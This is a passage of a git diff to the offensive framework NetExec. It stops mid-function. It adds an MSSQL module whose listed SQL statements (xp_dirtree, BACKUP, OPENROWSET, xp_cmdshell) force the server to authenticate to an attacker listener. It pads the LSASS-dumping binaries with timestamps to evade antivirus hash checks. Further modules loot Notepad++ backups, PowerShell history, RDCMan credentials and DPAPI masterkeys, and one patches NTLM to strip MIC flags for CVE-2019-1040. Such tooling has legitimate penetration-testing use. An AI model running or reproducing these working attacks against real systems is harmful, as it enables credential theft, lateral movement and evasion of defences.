confCons.xml file: {self.custom_path}") self.handle_confCons_file(content) - - def upgrade_connection(self, target: Target, connection=None): - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - else: - conn.connect() - return conn def get_users(self, conn): users = [] diff --git a/nxc/modules/mssql_coerce.py b/nxc/modules/mssql_coerce.py new file mode 100644 index 00000000..a4dca25a --- /dev/null +++ b/nxc/modules/mssql_coerce.py @@ -0,0 +1,79 @@ +import sys + +class NXCModule: + """Execute arbitrary SQL commands on the target MSSQL server""" + + name = "mssql_coerce" + description = "Execute arbitrary SQL commands on the target MSSQL server" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + self.listener = None + + def options(self, context, module_options): + """ + LISTENER LISTENER for exploitation + L Alias for LISTENER + """ + self.context = context + self.listener = None + if "LISTENER" in module_options: + self.listener = module_options["LISTENER"] + if "L" in module_options: + self.listener = module_options["L"] + + def on_login(self, context, connection): + if self.listener is None: + context.log.error("LISTENER option is required!") + sys.exit(1) + self.context = context + self.mssql_conn = connection.conn + commands = [ + f"xp_dirtree '\\\\{self.listener}\\file';", + f"xp_fileexist '\\\\{self.listener}\\file';", + f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';", + f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';", + f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';", + f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';", + f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');", + f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ", + f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';", + f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ", + f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ", + f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ", + f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ", + f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ", + f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ", + f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;", + f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;", + f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ", + f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ", + f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);", + f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);", + f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ", + f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ", + f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ", + f"xp_subdirs '\\\\{self.listener}\\file';", + f"xp_cmdshell 'dir \\\\{self.listener}\\file';", + f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);", + f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];", + f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');", + f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');", + f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');", + ] + for command in commands: + try: + result = self.mssql_conn.sql_query(command) + self.context.log.debug(f"Executing command: {command}, Command result: {result}") + except Exception as e: + self.context.log.fail(f"Failed to execute command: {command}, Error: {e}") + self.context.log.display("Commands executed successfully, check the listener for results") diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index 5dc1ec2d..21955289 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -51,6 +51,10 @@ class NXCModule: self.nano = "nano.exe" self.nano_path = "" self.useembeded = True + # Add some random binary data to defeat AVs which check the file hash + padding = datetime.now().strftime("%Y%m%d%H%M%S").encode() + self.nano_embedded64 += padding + self.nano_embedded32 += padding if "NANO_PATH" in module_options: self.nano_path = module_options["NANO_PATH"] @@ -149,7 +153,10 @@ class NXCModule: self.context.log.fail("Process lsass.exe error on dump, try with verbose") dump = False - if dump: + if not dump: + self.delete_nanodump_binary() + return + else: self.context.log.display(f"Copying {nano_log_name} to host") filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log") if self.context.protocol == "smb": diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py new file mode 100644 index 00000000..9450e2bc --- /dev/null +++ b/nxc/modules/notepad++.py @@ -0,0 +1,50 @@ +from io import BytesIO +from os import makedirs +from os.path import join, abspath +from nxc.paths import NXC_PATH + + +class NXCModule: + # Finds notepad++ unsaved backup files + # Module by @Defte_ + + name = "notepad++" + description = "Extracts notepad++ unsaved files." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + + def options(self, context, module_options): + """""" + + def on_admin_login(self, context, connection): + found = 0 + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory(): + try: + notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" + for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"): + file_path = f"{notepad_backup_dir}{file.get_longname()}" + if file.get_longname() not in self.false_positive: + found += 1 + file_path = f"{notepad_backup_dir}{file.get_longname()}" + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore").lower() + context.log.highlight(f"C:\\{file_path}") + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt" + export_path = join(NXC_PATH, "modules", "notepad++") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"Notepad++ backup written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}") + except Exception: + pass diff --git a/nxc/modules/obsolete.py b/nxc/modules/obsolete.py index d09b0081..f1a50430 100644 --- a/nxc/modules/obsolete.py +++ b/nxc/modules/obsolete.py @@ -40,7 +40,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={search_filter}") - resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0) except Exception: context.log.error("LDAP search error:", exc_info=True) return False diff --git a/nxc/modules/pi.py b/nxc/modules/pi.py index 521dd429..3be8b74e 100644 --- a/nxc/modules/pi.py +++ b/nxc/modules/pi.py @@ -1,7 +1,7 @@ from base64 import b64decode from sys import exit from os.path import abspath, join, isfile - +from datetime import datetime from nxc.paths import DATA_PATH, TMP_PATH @@ -25,9 +25,13 @@ class NXCModule: self.pi = "pi.exe" self.useembeded = True self.pid = self.cmd = "" + with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file: self.pi_embedded = b64decode(pi_file.read()) + # Add some random binary data to defeat AVs which check the file hash + self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode() + if "EXEC" in module_options: self.cmd = module_options["EXEC"] diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 79de46a5..5e897cc8 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,73 +1,60 @@ -import traceback from os import makedirs from os.path import join, abspath from nxc.paths import NXC_PATH +from io import BytesIO class NXCModule: - """Module by @357384n""" + # Module by @357384n + # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" description = "Extracts PowerShell history for all users and looks for sensitive commands." supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + sensitive_keywords = [ + "password", "passw", "secret", "credential", "key", + "get-credential", "convertto-securestring", "set-localuser", + "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", + "invoke-webrequest", "invoke-restmethod" + ] - def options(self, context, module_options): - """To export all the history you can add the following option: -o export=True""" - context.log.info(f"Received module options: {module_options}") + def options(self, _, module_options): self.export = bool(module_options.get("EXPORT", False)) - context.log.info(f"Option export set to: {self.export}") - - def analyze_history(self, history): - """Analyze PowerShell history for sensitive information.""" - sensitive_keywords = [ - "password", "passwd", "passw", "secret", "credential", "key", - "get-credential", "convertto-securestring", "set-localuser", - "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", - "invoke-webrequest", "invoke-restmethod" - ] - sensitive_commands = [] - for command in history: - command_lower = command.lower() - if any(keyword.lower() in command_lower for keyword in sensitive_keywords): - sensitive_commands.append(command.strip()) - return sensitive_commands def on_admin_login(self, context, connection): - """Main function to retrieve and analyze PowerShell history.""" - try: - context.log.info("Retrieving PowerShell history...") - command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' - history = connection.execute(command, True).split("\n") - if history: - sensitive_commands = self.analyze_history(history) - if sensitive_commands: - context.log.highlight("Sensitive commands found in PowerShell history:") - for command in sensitive_commands: - context.log.highlight(f" {command}") - else: - context.log.info("No sensitive commands found in PowerShell history.") - else: - context.log.info("No PowerShell history found.") - - # Check if export is enabled - context.log.info(f"Export option is set to: {self.export}") - if self.export and history: - host = connection.host # Assuming 'host' contains the target IP or hostname - filename = f"{host}_powershell_history.txt" - export_path = join(NXC_PATH, "modules", "powershell_history") - path = abspath(join(export_path, filename)) - makedirs(export_path, exist_ok=True) - - context.log.info(f"Export enabled, writing history to {path}") + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory(): try: - with open(path, "w") as file: - for cmd in history: - file.write(cmd + "\n") - context.log.highlight(f"PowerShell history written to: {path}") - except Exception as e: - context.log.fail(f"Failed to write history to {filename}: {e}") - except Exception as e: - context.log.fail(f"UNEXPECTED ERROR: {e}") - context.log.debug(traceback.format_exc()) + powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" + for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"): + if file.get_longname() not in self.false_positive: + file_path = f"{powershell_history_dir}{file.get_longname()}" + + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore") + keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()] + if len(keywords): + context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") + else: + context.log.highlight(f"C:\\{file_path}") + + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + if self.export: + filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt" + export_path = join(NXC_PATH, "modules", "powershell_history") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"PowerShell history written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write history to {filename}: {e}") + except Exception: + pass diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index e2ceb4b6..8fe1c460 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -24,7 +24,7 @@ class NXCModule: def on_login(self, context, connection): try: - ldap_connection = connection.ldapConnection + ldap_connection = connection.ldap_connection # Define the search filter for pre-created computer accounts search_filter = "(&(objectClass=computer)(userAccountControl=4128))" diff --git a/nxc/modules/printnightmare.py b/nxc/modules/printnightmare.py index 5c7905c4..9bca9941 100644 --- a/nxc/modules/printnightmare.py +++ b/nxc/modules/printnightmare.py @@ -1,6 +1,6 @@ import sys from impacket import system_errors -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes from impacket.structure import Structure from impacket.dcerpc.v5 import transport, rprn from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL @@ -39,7 +39,8 @@ class NXCModule: def on_login(self, context, connection): # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) - stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain + stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target context.log.info(f"Binding to {stringbinding!r}") @@ -55,7 +56,7 @@ class NXCModule: ) rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) - rpctransport.setRemoteHost(connection.host) + rpctransport.setRemoteHost(target) rpctransport.set_dport(self.port) try: @@ -101,7 +102,12 @@ class NXCModule: if e.error_code == system_errors.ERROR_INVALID_PARAMETER: context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True - raise e + context.log.fail(f"Unexpected error: {e}") + except DCERPCException as e: + if rpc_status_codes[e.error_code] == "rpc_s_access_denied": + context.log.info("Not vulnerable :'(") + return False + context.log.fail(f"Unexpected error: {e}") context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare") return True diff --git a/nxc/modules/procdump.py b/nxc/modules/procdump.py index 6432481b..024c9438 100644 --- a/nxc/modules/procdump.py +++ b/nxc/modules/procdump.py @@ -4,11 +4,11 @@ import base64 import re -import sys import pypykatz from nxc.helpers.bloodhound import add_user_bh from nxc.paths import TMP_PATH from os.path import abspath, join +from datetime import datetime class NXCModule: @@ -35,6 +35,8 @@ class NXCModule: self.procdump_path = abspath(TMP_PATH) self.dir_result = self.procdump_path self.useembeded = True + # Add some random binary data to defeat AVs which check the file hash + self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "PROCDUMP_PATH" in module_options: self.procdump_path = module_options["PROCDUMP_PATH"] @@ -79,7 +81,10 @@ class NXCModule: else: context.log.fail("Process lsass.exe error un dump, try with verbose") - if dump: + if not dump: + self.delete_procdump_binary(connection, context) + return + else: regex = r"([A-Za-z0-9-]*.dmp)" matches = re.search(regex, str(p), re.MULTILINE) machine_name = "" @@ -87,7 +92,7 @@ class NXCModule: machine_name = matches.group() else: context.log.display("Error getting the lsass.dmp file name") - sys.exit(1) + return context.log.display(f"Copy {machine_name} to host") @@ -98,11 +103,7 @@ class NXCModule: except Exception as e: context.log.fail(f"Error while get file: {e}") - try: - connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) - context.log.success(f"Deleted procdump file on the {self.share} share") - except Exception as e: - context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") + self.delete_procdump_binary(connection, context) try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) @@ -152,3 +153,10 @@ class NXCModule: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: context.log.fail("Error openning dump file", str(e)) + + def delete_procdump_binary(self, connection, context): + try: + connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) + context.log.success(f"Deleted procdump file on the {self.share} share") + except Exception as e: + context.log.fail(f"Error deleting procdump file on share {self.share}: {e}") diff --git a/nxc/modules/pso.py b/nxc/modules/pso.py index a9d930d1..973a1f06 100644 --- a/nxc/modules/pso.py +++ b/nxc/modules/pso.py @@ -24,7 +24,7 @@ class NXCModule: def on_login(self, context, connection): # Are there even any FGPPs? context.log.success("Attempting to enumerate policies...") - resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)") + resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)") if len(resp) > 1: context.log.highlight(f"{len(resp) - 1} PSO Objects found!") context.log.highlight("") diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index c17de1f0..597a45d3 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -1,10 +1,8 @@ -from dploot.triage.rdg import RDGTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage +from dploot.triage.rdg import RDGTriage, RDGServerProfile from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: @@ -15,99 +13,34 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """ - PVK Domain backup key file - MKFILE File with masterkeys in form of {GUID}:SHA1 - """ - self.pvkbytes = None - self.masterkeys = None - - if "PVK" in module_options: - self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115 - - if "MKFILE" in module_options: - self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115 + """ """ def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") - if self.pvkbytes is None: - try: - dc = Target.create( - domain=domain, - username=username, - password=password, - target=domain, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - no_pass=True, - use_kcache=use_kcache, - ) - - dc_conn = DPLootSMBConnection(dc) - dc_conn.connect() - - if dc_conn.is_admin: - context.log.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - except Exception as e: - context.log.debug(f"Could not get domain backupkey: {e}") + self.pvkbytes = get_domain_backup_key(connection) target = Target.create( - domain=domain, + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, no_pass=True, - use_kcache=use_kcache, + use_kcache=getattr(connection, "use_kcache", False), ) - - conn = None - - try: - conn = DPLootSMBConnection(target) - conn.smb_session = connection.conn - except Exception as e: - context.log.debug(f"Could not upgrade connection: {e}") + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") return - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - if password != "": - plaintexts[username] = password - if nthash != "": - nthashes[username] = nthash - - if self.masterkeys is None: - try: - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.masterkeys = masterkeys_triage.triage_masterkeys() - except Exception as e: - context.log.debug(f"Could not get masterkeys: {e}") + self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") @@ -122,17 +55,17 @@ class NXCModule: if rdcman_file is None: continue for rdg_cred in rdcman_file.rdg_creds: - if rdg_cred.type in ["cred", "logon", "server"]: - log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1")) + log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" + if isinstance(rdg_cred, RDGServerProfile): + log_text = f"{rdg_cred.server_name} - {log_text}" context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") - for rdgfile in rdgfiles: if rdgfile is None: continue for rdg_cred in rdgfile.rdg_creds: - log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1")) - if rdg_cred.type == "server": + log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" + if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}") + context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") except Exception as e: context.log.debug(f"Could not loot RDCMan secrets: {e}") diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py new file mode 100644 index 00000000..40e43c97 --- /dev/null +++ b/nxc/modules/remove-mic.py @@ -0,0 +1,192 @@ +# Original Author: +# Dirk-jan Mollema (@_dirkjan) +# dlive (@D1iv3) +# +# Refernece: +# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ +# - https://github.com/fox-it/cve-2019-1040-scanner +# - https://github.com/Dliv3/cve-2019-1040-scanner +# +# Modify by: +# XiaoliChan (@Memory_before) + +import calendar +import struct +import time +import random +import string + +from impacket import ntlm +from impacket import nt_errors +from impacket.smbconnection import SessionError + + +class NXCModule: + name = "remove-mic" + description = "Check if host vulnerable to CVE-2019-1040" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = False + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + """PORT Port to check (defaults to 445)""" + self.port = 445 + if "PORT" in module_options: + self.port = int(module_options["PORT"]) + + def on_login(self, context, connection): + ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2 + ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3 + try: + connection.conn.reconnect() + except SessionError as e: + if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER: + context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)") + else: + context.log.info("Unexpected Exception while authentication") + else: + context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/") + +class Modify_Func: + # Slightly modified version of impackets computeResponseNTLMv2 + def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="", + use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): + + responseServerVersion = b"\x01" + hiResponseServerVersion = b"\x01" + responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash) + + av_pairs = ntlm.AV_PAIRS(serverName) + # In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will + # get access denied + # This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation + # level + av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] + if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None: + aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1] + else: + aTime = struct.pack(" 0: + av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value + + # Format according to: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b + temp = responseServerVersion # RespType 1 byte + temp += hiResponseServerVersion # HiRespType 1 byte + temp += b"\x00" * 2 # Reserved1 2 bytes + temp += b"\x00" * 4 # Reserved2 4 bytes + temp += aTime # TimeStamp 8 bytes + temp += clientChallenge # ChallengeFromClient 8 bytes + temp += b"\x00" * 4 # Reserved 4 bytes + temp += av_pairs.getData() # AvPairs variable + + ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp) + + ntChallengeResponse = ntProofStr + temp + lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge + sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr) + + if user == "" and password == "": + # Special case for anonymous authentication + ntChallengeResponse = "" + lmChallengeResponse = "" + + return ntChallengeResponse, lmChallengeResponse, sessionBaseKey + + def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""): + # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best. + if password is None: + password = "" + + # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with + # international characters. + import sys + encoding = sys.getfilesystemencoding() + if encoding is not None: + try: + user.encode("utf-16le") + except Exception: + user = user.decode(encoding) + try: + password.encode("utf-16le") + except Exception: + password = password.decode(encoding) + try: + domain.encode("utf-16le") + except Exception: + domain = user.decode(encoding) + + ntlmChallenge = ntlm.NTLMAuthChallenge(type2) + + # Let's start with the original flags sent in the type1 message + responseFlags = type1["flags"] + + # Token received and parsed. Depending on the authentication + # method we will create a valid ChallengeResponse + ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"]) + + clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)])) + + serverName = ntlmChallenge["TargetInfoFields"] + + ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"], + clientChallenge, serverName, domain, user, password, + lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value) + + # Let's check the return flags + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: + # No extended session security, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0: + # No support for 128 key len, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128 + if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: + # No key exchange supported, taking it out + responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH + + # drop the mic need to unset these flags + # https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72 + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN + + + keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password, + lmhash, nthash, use_ntlmv2) + + # Special case for anonymous 